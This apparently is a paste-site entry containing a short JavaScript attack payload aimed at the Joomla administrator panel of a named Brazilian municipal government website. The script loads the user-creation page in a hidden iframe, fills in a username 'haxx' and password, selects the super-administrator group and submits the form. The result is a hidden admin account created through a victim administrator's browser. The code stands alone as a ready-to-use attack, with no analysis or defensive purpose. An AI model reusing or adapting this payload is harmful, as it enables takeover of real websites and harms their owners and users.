· 8 years ago · Feb 16, 2018, 02:02 PM
1<script>
2document.writeln('<iframe id="iframe" src="http://www.altoparaguai.mt.gov.br/administrator/index.php?option=com_users&view=user&layout=edit" width="0" height="0" style="visibility:hidden;" onload="read()"></iframe>');
3
4function read()
5{
6var name="Test";
7var username="haxx";
8var password="test123";
9var email="fake _at_ gmail.com";
10
11document.getElementById("iframe").contentDocument.forms[0].jform_name.value = name;
12document.getElementById("iframe").contentDocument.forms[0].jform_username.value = username;
13document.getElementById("iframe").contentDocument.forms[0].jform_password.value = password;
14document.getElementById("iframe").contentDocument.forms[0].jform_password2.value = password;
15document.getElementById("iframe").contentDocument.forms[0].jform_email.value = email;
16document.getElementById("iframe").contentDocument.forms[0].getElementById("1group_8").checked=true;
17document.getElementById("iframe").contentDocument.getElementsByTagName("a")[11].onclick();
18}
19</script>